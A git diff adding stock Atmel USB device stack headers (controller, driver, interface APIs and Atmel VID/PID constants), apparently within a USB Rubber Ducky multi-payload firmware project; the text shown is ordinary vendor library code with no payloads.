+ * Vendor ID provided by USB org (ATMEL 0x03EB). + * + * USB_DEVICE_PRODUCT_ID (Word)
+ * Product ID (Referenced in usb_atmel.h). + * + * USB_DEVICE_MAJOR_VERSION (Byte)
+ * Major version of the device + * + * USB_DEVICE_MINOR_VERSION (Byte)
+ * Minor version of the device + * + * USB_DEVICE_MANUFACTURE_NAME (string)
+ * ASCII name for the manufacture + * + * USB_DEVICE_PRODUCT_NAME (string)
+ * ASCII name for the product + * + * USB_DEVICE_SERIAL_NAME (string)
+ * ASCII name to enable and set a serial number + * + * USB_DEVICE_POWER (Numeric)
+ * (unit mA) Maximum device power + * + * USB_DEVICE_ATTR (Byte)
+ * USB attributes available: + * - USB_CONFIG_ATTR_SELF_POWERED + * - USB_CONFIG_ATTR_REMOTE_WAKEUP + * Note: if remote wake enabled then defines remotewakeup callbacks, + * see Table 5-2. External API from UDC - Callback + * + * USB_DEVICE_LOW_SPEED (Only defined)
+ * Force the USB Device to run in low speed + * + * USB_DEVICE_HS_SUPPORT (Only defined)
+ * Authorize the USB Device to run in high speed + * + * USB_DEVICE_MAX_EP (Byte)
+ * Define the maximum endpoint number used by the USB Device.
+ * This one is already defined in UDI default configuration. + * Ex: + * - When endpoint control 0x00, endpoint 0x01 and + * endpoint 0x82 is used then USB_DEVICE_MAX_EP=2 + * - When only endpoint control 0x00 is used then USB_DEVICE_MAX_EP=0 + * - When endpoint 0x01 and endpoint 0x81 is used then USB_DEVICE_MAX_EP=1
+ * (configuration not possible on USBB interface) + * @{ + */ + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + * + * \section udc_vbus_monitoring VBus monitoring used cases + * + * The VBus monitoring is used only for USB SELF Power application. + * + * - No custom implementation \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // VBUS monitoring is not available on this product \n + * // thereby VBUS has to be considered as present \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Add custom VBUS monitoring \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // Implement custom VBUS monitoring via GPIO or other \n + * } \n + * Event_VBUS_present() // VBUS interrupt or GPIO interrupt or other \n + * { \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Case of battery charging \n + * Event VBUS present() // VBUS interrupt or GPIO interrupt or .. \n + * { \n + * // Authorize battery charging, but wait key press to start USB. \n + * } \n + * Event Key press() \n + * { \n + * // Stop batteries charging \n + * // Start USB \n + * udc_attach(); \n + * } \n + */ +static inline bool udc_include_vbus_monitoring(void) +{ + return udd_include_vbus_monitoring(); +} + + +/*! \brief Start the USB Device stack + */ +static inline void udc_start(void) +{ + udd_enable(); +} + + +/*! \brief Stop the USB Device stack + */ +static inline void udc_stop(void) +{ + udd_disable(); +} + + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +static inline void udc_attach(void) +{ + udd_attach(); +} + + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +static inline void udc_detach(void) +{ + udd_detach(); +} + + +/*! \brief The USB driver sends a resume signal called \e "Upstream Resume" + */ +static inline void udc_wakeup(void) +{ + udd_send_wake_up(); +} + + +/** + * \brief Returns a pointer on the current interface descriptor + * + * \return pointer on the current interface descriptor. + */ +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void); + +//@} + +/** + * \ingroup usb_group + * \defgroup usb_device_group USB Stack Devices + * + * This module includes USB Stack Device implementation. + * The stack is divided in three parts: + * - USB Device Controller (UDC) provides USB chapter 9 compliance + * - USB Device Interface (UDI) provides USB Class compliance + * - USB Device Driver (UDD) provides USB Driver for each AVR product + + * Many USB Device applications can be implemented on AVR products. + * Atmel provides many application notes for different applications: + * - AVR4900, provides general information about Device Stack + * - AVR4901, explains how to create a new class + * - AVR4902, explains how to create a composite device + * - AVR49xx, all device classes provided in ASF have an application note + * + * A basic USB knowledge is required to understand the USB Device + * Class application notes (HID,MS,CDC,PHDC,...). + * Then, to create an USB device with + * only one class provided by ASF, refer directly to the application note + * corresponding to this USB class. The USB Device application note for + * New Class and Composite is dedicated to advanced USB users. + * + * @{ + */ + +//! @} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc_desc.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc_desc.h new file mode 100644 index 0000000..252087e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc_desc.h @@ -0,0 +1,126 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_DESC_H_ +#define _UDC_DESC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udc_group + * \defgroup udc_desc_group USB Device Descriptor + * + * @{ + */ + +/** + * \brief Defines the memory's location of USB descriptors + * + * By default the Descriptor is stored in RAM + * (UDC_DESC_STORAGE is defined empty). + * + * If you have need to free RAM space, + * it is possible to put descriptor in flash in following case: + * - USB driver authorize flash transfer (USBB on UC3 and USB on Mega) + * - USB Device is not high speed (UDC no need to change USB descriptors) + * + * For UC3 application used "const". + * + * For Mega application used "code". + */ +#define UDC_DESC_STORAGE + // Descriptor storage in internal RAM +#if (defined UDC_DATA_USE_HRAM_SUPPORT) +# if defined(__GNUC__) +# define UDC_DATA(x) COMPILER_WORD_ALIGNED __attribute__((__section__(".data_hram0"))) +# define UDC_BSS(x) COMPILER_ALIGNED(x) __attribute__((__section__(".bss_hram0"))) +# elif defined(__ICCAVR32__) +# define UDC_DATA(x) COMPILER_ALIGNED(x) __data32 +# define UDC_BSS(x) COMPILER_ALIGNED(x) __data32 +# endif +#else +# define UDC_DATA(x) COMPILER_ALIGNED(x) +# define UDC_BSS(x) COMPILER_ALIGNED(x) +#endif + + + +/** + * \brief Configuration descriptor and UDI link for one USB speed + */ +typedef struct { + //! USB configuration descriptor + usb_conf_desc_t UDC_DESC_STORAGE *desc; + //! Array of UDI API pointer + udi_api_t UDC_DESC_STORAGE *UDC_DESC_STORAGE * udi_apis; +} udc_config_speed_t; + + +/** + * \brief All information about the USB Device + */ +typedef struct { + //! USB device descriptor for low or full speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_lsfs; + //! USB configuration descriptor and UDI API pointers for low or full speed + udc_config_speed_t UDC_DESC_STORAGE *conf_lsfs; +#ifdef USB_DEVICE_HS_SUPPORT + //! USB device descriptor for high speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_hs; + //! USB device qualifier, only use in high speed mode + usb_dev_qual_desc_t UDC_DESC_STORAGE *qualifier; + //! USB configuration descriptor and UDI API pointers for high speed + udc_config_speed_t UDC_DESC_STORAGE *conf_hs; +#endif +} udc_config_t; + +//! Global variables of USB Device Descriptor and UDI links +extern UDC_DESC_STORAGE udc_config_t udc_config; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_DESC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udd.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udd.h new file mode 100644 index 0000000..8546d84 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udd.h @@ -0,0 +1,377 @@ +/** + * \file + * + * \brief Common API for USB Device Drivers (UDD) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDD_H_ +#define _UDD_H_ + +#include "usb_protocol.h" +#include "udc_desc.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * The UDD driver provides a low-level abstraction of the device + * controller hardware. Most events coming from the hardware such as + * interrupts, which may cause the UDD to call into the UDC and UDI. + * + * @{ + */ + +//! \brief Endpoint identifier +typedef uint8_t udd_ep_id_t; + +//! \brief Endpoint transfer status +//! Returned in parameters of callback register via udd_ep_run routine. +typedef enum { + UDD_EP_TRANSFER_OK = 0, + UDD_EP_TRANSFER_ABORT = 1, +} udd_ep_status_t; + +/** + * \brief A USB Device SETUP request + * + * SETUP packet contains following information. + */ +COMPILER_PACK_SET(1); +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + uint16_t wValue; + uint16_t wIndex; + uint16_t wLength; +} udd_setup_req_t; +COMPILER_PACK_RESET(); + +/** + * \brief Global variable to give and record information of the setup request management + * + * This global variable allows to decode and response a setup request. + * It can be updated by udc_process_setup() from UDC or *setup() from UDIs. + */ +typedef struct { + udd_setup_req_t req; //!< Data received in USB SETUP packet + uint8_t *payload; //!< Point to buffer to send or fill with data following SETUP packet + uint16_t payload_size; //!< Size of buffer to send or fill, and content the number of byte transfered + //! when the calbbacks "callback/over_under_run" are called. + void (*callback) (void); //!< Callback called after reception of ZLP from setup request + bool(*over_under_run) (void); //!< Callback called when the buffer given (.payload) is full or empty. + //! This one return false to abort data transfer, or true with a new buffer in .payload. +} udd_ctrl_request_t; +extern udd_ctrl_request_t udd_g_ctrlreq; + +//! Return true if the setup request \a udd_g_ctrlreq indicates IN data transfer +#define Udd_setup_is_in() \ + (USB_REQ_DIR_IN == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) +//! Return true if the setup request \a udd_g_ctrlreq indicates OUT data transfer +#define Udd_setup_is_out() \ + (USB_REQ_DIR_OUT == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) +//! Return the type of the SETUP request \a udd_g_ctrlreq. \see usb_reqtype. +#define Udd_setup_type() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_TYPE_MASK) +//! Return the recipient of the SETUP request \a udd_g_ctrlreq. \see usb_recipient +#define Udd_setup_recipient() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_RECIP_MASK) + +/** + * \brief End of halt callback function type. + * Registered by routine udd_ep_wait_stall_clear() + * Callback called when endpoint stall is cleared. + */ +typedef void (*udd_callback_halt_cleared_t) (void); + +/** + * \brief End of transfer callback function type. + * Registered by routine udd_ep_run() + * Callback called by USB interrupt after data transfer or abort (reset,...). + * + * \param status UDD_EP_TRANSFER_OK, if transfer is complete + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param n number of data transfered + */ +typedef void (*udd_callback_trans_t) (udd_ep_status_t status, + iram_size_t nb_transfered); + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + */ +bool udd_include_vbus_monitoring(void); + +/** + * \brief Enables the USB Device mode + */ +void udd_enable(void); + +/** + * \brief Disables the USB Device mode + */ +void udd_disable(void); + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +void udd_attach(void); + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +void udd_detach(void); + +/** + * \brief Test whether the USB Device Controller is running at high + * speed or not. + * + * \return \c true if the Device is running at high speed mode, otherwise \c false. + */ +bool udd_is_high_speed(void); + +/** + * \brief Changes the USB address of device + * + * \param address New USB address + */ +void udd_set_address(uint8_t address); + +/** + * \brief Returns the USB address of device + * + * \return USB address + */ +uint8_t udd_getaddress(void); + +/** + * \brief Returns the current start of frame number + * + * \return current start of frame number. + */ +uint16_t udd_get_frame_number(void); + +/*! \brief The USB driver sends a resume signal called Upstream Resume + */ +void udd_send_wake_up(void); + +/** + * \brief Load setup payload + * + * \param payload Pointer on payload + * \param payload_size Size of payload + */ +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ); + + +/** + * \name Endpoint Management + * + * The following functions allow drivers to create and remove + * endpoints, as well as set, clear and query their "halted" and + * "wedged" states. + */ +//@{ + +#if (0!=USB_DEVICE_MAX_EP) + +/** + * \brief Configures and enables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + * \param bmAttributes Attributes of endpoint declared in the descriptor. + * \param MaxEndpointSize Endpoint maximum size + * + * \return \c 1 if the endpoint is enabled, otherwise \c 0. + */ +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize); + +/** + * \brief Disables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + */ +void udd_ep_free(udd_ep_id_t ep); + +/** + * \brief Check if the endpoint \a ep is halted. + * + * \param ep The ID of the endpoint to check. + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_is_halted(udd_ep_id_t ep); + +/** + * \brief Set the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will result + * in a STALL handshake being sent. Any pending transactions will be + * performed first, however. + * + * \param ep The ID of the endpoint to be halted + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_set_halt(udd_ep_id_t ep); + +/** + * \brief Clear the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will + * be handled normally, i.e. a STALL handshake will not be sent, and + * the data toggle sequence will start at DATA0. + * + * \param ep The ID of the endpoint to be un-halted + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_clear_halt(udd_ep_id_t ep); + +/** + * \brief Registers a callback to call when endpoint halt is cleared + * + * \param ep The ID of the endpoint to use + * \param callback NULL or function to call when endpoint halt is cleared + * + * \warning if the endpoint is not halted then the \a callback is called immediately. + * + * \return \c 1 if the register is accepted, otherwise \c 0. + */ +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback); + +/** + * \brief Allows to receive or send data on an endpoint + * + * The driver uses a specific DMA USB to transfer data + * from internal RAM to endpoint, if this one is available. + * When the transfer is finished or aborted (stall, reset, ...), the \a callback is called. + * The \a callback returns the transfer status and eventually the number of byte transfered. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill. + * It must be align, then use COMPILER_WORD_ALIGNED. + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + * + * \warning About \a b_shortpacket, for IN endpoint it means that a short packet + * (or a Zero Length Packet) will be sent to the USB line to properly close the usb + * transfer at the end of the data transfer. + * For Bulk and Interrupt OUT endpoint, it will automatically stop the transfer + * at the end of the data transfer (received short packet). + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback); +/** + * \brief Aborts transfer on going on endpoint + * + * If a transfer is on going, then it is stopped and the callback registered is called to signal the end of transfer. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + */ +void udd_ep_abort(udd_ep_id_t ep); + +#endif + +//@} + + +/** + * \name High speed test mode management + * + * The following functions allow the device to jump to a specific test mode required in high speed mode. + */ +//@{ +void udd_test_mode_j(void); +void udd_test_mode_k(void); +void udd_test_mode_se0_nak(void); +void udd_test_mode_packet(void); +//@} + + +/** + * \name UDC callbacks to provide for UDD + * + * The following callbacks are used by UDD. + */ +//@{ + +/** + * \brief Decodes and manages a setup request + * + * The driver call it when a SETUP packet is received. + * The \c udd_g_ctrlreq contains the data of SETUP packet. + * If this callback accepts the setup request then it must + * return \c 1 and eventually update \c udd_g_ctrlreq to send or receive data. + * + * \return \c 1 if the request is accepted, otherwise \c 0. + */ +extern bool udc_process_setup(void); + +/** + * \brief Reset the UDC + * + * The UDC must reset all configuration. + */ +extern void udc_reset(void); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udi.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udi.h new file mode 100644 index 0000000..8fb5a9e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udi.h @@ -0,0 +1,117 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_H_ +#define _UDI_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udi_group USB Device Interface (UDI) + * The UDI provides a common API for all classes, + * and this is used by UDC for the main control of USB Device interface. + * @{ + */ + +/** + * \brief UDI API. + * + * The callbacks within this structure are called only by + * USB Device Controller (UDC) + * + * The udc_get_interface_desc() can be use by UDI to know the interface descriptor + * selected by UDC. + */ +typedef struct { + /** + * \brief Enable the interface. + * + * This function is called when the host selects a configuration + * to which this interface belongs through a Set Configuration + * request, and when the host selects an alternate setting of + * this interface through a Set Interface request. + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ + bool(*enable) (void); + /** + * \brief Disable the interface. + * + * This function is called when this interface is currently + * active, and + * - the host selects any configuration through a Set + * Configuration request, or + * - the host issues a USB reset, or + * - the device is detached from the host (i.e. Vbus is no + * longer present) + */ + void (*disable) (void); + /** + * \brief Handle a control request directed at an interface. + * + * This function is called when this interface is currently + * active and the host sends a SETUP request + * with this interface as the recipient. + * + * Use udd_g_ctrlreq to decode and response to SETUP request. + * + * \return \c 1 if this interface supports the SETUP request, otherwise \c 0. + */ + bool(*setup) (void); + /** + * \brief Returns the current setting of the selected interface. + * + * This function is called when UDC when know alternate setting of selected interface. + * + * \return alternate setting of selected interface + */ + uint8_t(*getsetting) (void); +} udi_api_t; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/usb_atmel.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/usb_atmel.h new file mode 100644 index 0000000..4e44508 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/usb_atmel.h @@ -0,0 +1,146 @@ +/** + * \file + * + * \brief All USB VIDs and PIDs from Atmel AVR applications + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_ATMEL_H_ +#define _USB_ATMEL_H_ + +/** + * \defgroup usb_group USB Stack + * + * This stack includes the USB Device Stack, USB Host Stack and common + * definitions. + * @{ + */ + +//! @} + +/** + * \ingroup usb_group + * \defgroup usb_atmel_ids_group Atmel USB Identifiers + * + * This module defines Atmel PID and VIDs constants. + * + * @{ + */ + +//! \name Vendor Identifier assigned by USB org to ATMEL +#define USB_VID_ATMEL 0x03EB + + +//! \name Product Identifier assigned by ATMEL to AVR applications +//! @{ + +//! \name The range from 2000h to 20FFh is reserved to the old PID for C51, MEGA, and others. +//! @{ +#define USB_PID_ATMEL_MEGA_HIDGENERIC 0x2013 +#define USB_PID_ATMEL_MEGA_HIDKEYBOARD 0x2017 +#define USB_PID_ATMEL_MEGA_CDC 0x2018 +#define USB_PID_ATMEL_MEGA_AUDIO_IN 0x2019 +#define USB_PID_ATMEL_MEGA_MS 0x201A +#define USB_PID_ATMEL_MEGA_AUDIO_IN_OUT 0x201B +#define USB_PID_ATMEL_MEGA_HIDMOUSE 0x201C +#define USB_PID_ATMEL_MEGA_HIDMOUSE_CERTIF_U4 0x201D +#define USB_PID_ATMEL_MEGA_CDC_MULTI 0x201E +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_USBKEY 0x2022 +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_STK525 0x2023 +#define USB_PID_ATMEL_MEGA_MS_2 0x2029 +#define USB_PID_ATMEL_MEGA_MS_HIDMS 0x202A +#define USB_PID_ATMEL_MEGA_MS_3 0x2032 +#define USB_PID_ATMEL_MEGA_LIBUSB 0x2050 +//! @} + +//! \name The range 2300h to 23FFh is reserved to PIDs for demo from ASF1.7=> +//! @{ +#define USB_PID_ATMEL_UC3_ENUM 0x2300 +#define USB_PID_ATMEL_UC3_MS 0x2301 +#define USB_PID_ATMEL_UC3_MS_SDRAM_LOADER 0x2302 +#define USB_PID_ATMEL_UC3_EVK1100_CTRLPANEL 0x2303 +#define USB_PID_ATMEL_UC3_HID 0x2304 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID 0x2305 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID_MS 0x2306 +#define USB_PID_ATMEL_UC3_CDC 0x2307 +#define USB_PID_ATMEL_UC3_AUDIO_MICRO 0x2308 +#define USB_PID_ATMEL_UC3_CDC_DEBUG 0x2310 // Virtual Com (debug interface) on EVK11xx +#define USB_PID_ATMEL_UC3_AUDIO_SPEAKER_MICRO 0x2311 +#define USB_PID_ATMEL_UC3_CDC_MSC 0x2312 +//! @} + +//! \name The range 2400h to 24FFh is reserved to PIDs for common AVR demos from ASF2.0<= +//! @{ +#define USB_PID_ATMEL_AVR_HIDMOUSE 0x2400 +#define USB_PID_ATMEL_AVR_HIDKEYBOARD 0x2401 +#define USB_PID_ATMEL_AVR_HIDGENERIC 0x2402 +#define USB_PID_ATMEL_AVR_MSC 0x2403 +#define USB_PID_ATMEL_AVR_CDC 0x2404 +#define USB_PID_ATMEL_AVR_PHDC 0x2405 +#define USB_PID_ATMEL_AVR_MSC_HIDMOUSE 0x2420 +#define USB_PID_ATMEL_AVR_MSC_HIDS_CDC 0x2421 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_POWERONLY 0x2430 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TERMINAL 0x2431 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TOUCH 0x2432 +#define USB_PID_ATMEL_AVR_AUDIO_SPEAKER 0x2433 +//! @} + +//! \name The range 2F00h to 2FFFh is reserved to official PIDs for AVR bootloaders +//! Note, !!!! don't use this range for demos or examples !!!! +//! @{ +#define USB_PID_ATMEL_DFU_ATUC3D 0x2FE9 +#define USB_PID_ATMEL_DFU_AT32UC3C 0x2FEB +#define USB_PID_ATMEL_DFU_ATMEGA8U2 0x2FEE +#define USB_PID_ATMEL_DFU_ATMEGA16U2 0x2FEF +#define USB_PID_ATMEL_DFU_ATMEGA32U2 0x2FF0 +#define USB_PID_ATMEL_DFU_AT32UC3A3 0x2FF1 +#define USB_PID_ATMEL_DFU_ATMEGA32U6 0x2FF2 +#define USB_PID_ATMEL_DFU_ATMEGA16U4 0x2FF3 +#define USB_PID_ATMEL_DFU_ATMEGA32U4 0x2FF4 +#define USB_PID_ATMEL_DFU_AT32AP7200 0x2FF5 +#define USB_PID_ATMEL_DFU_AT32UC3B 0x2FF6 +#define USB_PID_ATMEL_DFU_AT90USB82 0x2FF7 +#define USB_PID_ATMEL_DFU_AT32UC3A 0x2FF8 +#define USB_PID_ATMEL_DFU_AT90USB64 0x2FF9 +#define USB_PID_ATMEL_DFU_AT90USB162 0x2FFA +#define USB_PID_ATMEL_DFU_AT90USB128 0x2FFB +// 2FFCh to 2FFFh used by C51 family products +//! @} + +//! @} + +//! @} + + +#endif // _USB_ATMEL_H_ diff --git 